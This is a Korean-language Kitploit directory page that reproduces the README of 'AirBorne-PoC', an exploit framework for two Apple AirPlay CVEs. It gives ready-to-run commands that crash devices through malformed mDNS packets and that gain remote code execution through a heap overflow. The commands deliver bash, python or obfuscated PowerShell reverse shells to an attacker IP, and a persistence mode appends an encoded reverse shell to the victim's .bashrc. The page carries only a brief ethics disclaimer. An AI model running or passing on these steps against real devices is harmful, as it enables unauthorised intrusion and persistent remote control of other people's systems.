Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
AirBorne-PoC — CVE-2025-24252 & CVE-2025-24132용 poc | Kitploit
도구/GitHubGitHub/ekomssavior/airborne-poc
Persistence MechanismsVulnerability AnalysisExploitationShellcodePost-ExploitationCommand and ControlRemote Access ToolPayload DevelopmentBinary Exploitation
GitHubekomssavior/airborne-poc

AirBorne-PoC

CVE-2025-24252 & CVE-2025-24132용 poc

164277개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

AirBorne PoC 프레임워크 – Elite RCE 에디션

CVE-2025-24252 및 CVE-2025-24132용 전체 PoC 프레임워크
제작: ekomsSavior |

AirBorne은 Apple의 AirPlay 서비스에서 발견된 두 가지 심각한 취약점을 대상으로 하는 통합 PoC(proof-of-concept) 프레임워크입니다. 완전한 크래시 트리거와 역방향 셸(reverse shell) 익스플로잇을 포함하며, 선택적 지속성(persistence), 리스너(listener), 여러 페이로드 형식을 하나의 스크립트로 제공합니다.

원본 버전을 찾고 계신가요?
레거시 에디션은 이 저장소의 legacy 브랜치에서 계속 사용할 수 있습니다.
확인하려면:

root@kitploit:~
git checkout legacy

대상 CVE

CVE-2025-24252 – mDNS TXT 레코드 크래시

  • 잘못된 형식의 mDNS 패킷을 통해 AirPlayReceiver 데몬의 크래시를 유발합니다
  • UDP 브로드캐스트 포트 5353에서 작동합니다

CVE-2025-24132 – 힙 오버플로 → 역방향 셸 (RCE)

  • 포트 7000에서 AirPlay TCP 서비스의 힙 오버플로를 유발합니다
  • bash, python, PowerShell 역방향 셸 페이로드를 지원합니다
  • .bashrc 주입(리눅스)을 통한 선택적 지속성(persistence)을 포함합니다

시작하기

1. 저장소 클론

root@kitploit:~
git clone https://github.com/ekomsSavior/AirBorne-PoC.git
cd AirBorne-PoC

2. 의존성 설치

root@kitploit:~
sudo apt update
sudo apt install -y python3-scapy netcat

런타임 안내

단일 스크립트 airborne.py에는 두 PoC와 모든 로직이 포함되어 있습니다:

  • --exploit을 사용해 CVE 선택
  • --payload를 사용해 역방향 셸 페이로드 설정
  • netcat 리스너를 자동으로 시작
  • --persistent를 사용해 대상에서 선택적으로 지속성 활성화

사용 예시

mDNS 패킷으로 대상 크래시 (CVE-2025-24252)

root@kitploit:~
sudo python3 airborne.py --exploit 24252 --interface wlan0

모니터 모드(monitor mode)의 인터페이스가 필요합니다.


힙 오버플로 → RCE 실행 (CVE-2025-24132)

기본 bash 셸로 전체 익스플로잇 시작:

root@kitploit:~
sudo python3 airborne.py --exploit 24132 --target 192.168.1.42 --attacker 192.168.1.99

대신 Python 셸 선택:

root@kitploit:~
sudo python3 airborne.py --exploit 24132 --target 192.168.1.42 --attacker 192.168.1.99 --payload python

리눅스 대상에서 실제 지속성 활성화:

root@kitploit:~
sudo python3 airborne.py --exploit 24132 --target 192.168.1.42 --attacker 192.168.1.99 --persistent

셸 명령 주입만 수행:

root@kitploit:~
sudo python3 airborne_bash_command_injector.py --exploit 24132 --target 192.168.1.42 --command "command"

페이로드 옵션

PayloadDescription
bashTCP를 통한 기본 bash 역방향 셸
pythonsocket 및 pty를 사용하는 Python 기반 역방향 셸
powershell전체 Windows PowerShell RCE 페이로드 (난독화됨)

지속성 모드

--persistent를 사용하면 스크립트는 인코딩된 역방향 셸 페이로드를 대상의 다음 파일에 추가합니다:

root@kitploit:~
~/.bashrc

이를 통해 사용자가 로그인하거나 터미널을 생성할 때마다 셸이 다시 연결됩니다.


유지보수 참고 사항

  • 역방향 셸은 base64로 인코딩되어 버퍼 오버플로 이후 전달됩니다
  • 모든 페이로드는 포트 7000을 통해 전송됩니다
  • mDNS 패킷은 UDP 5353으로 전송되며 raw 소켓 권한이 필요합니다
  • 공격 박스의 IP가 대상 장치에서 도달 가능한지 확인하세요
  • 스크립트는 기본적인 오류 상황을 처리하며, 닫힌 포트에서는 조용히 실패합니다

윤리적 고지

이 프로젝트는 교육, 윤리적 및 승인된 연구 목적으로만 제작되었습니다.

  • 대상 시스템을 테스트하려면 명시적 허가가 있어야 합니다.
  • 발생하는 모든 행동에 대한 전적인 책임은 사용자에게 있습니다.

허가 없는 시스템 악용은 불법이며 비윤리적입니다.


크레딧

  • 제작: ekomsSavior
  • 실제 CVE 및 익스플로잇 개발 연구에서 영감을 받음
도구 다운로드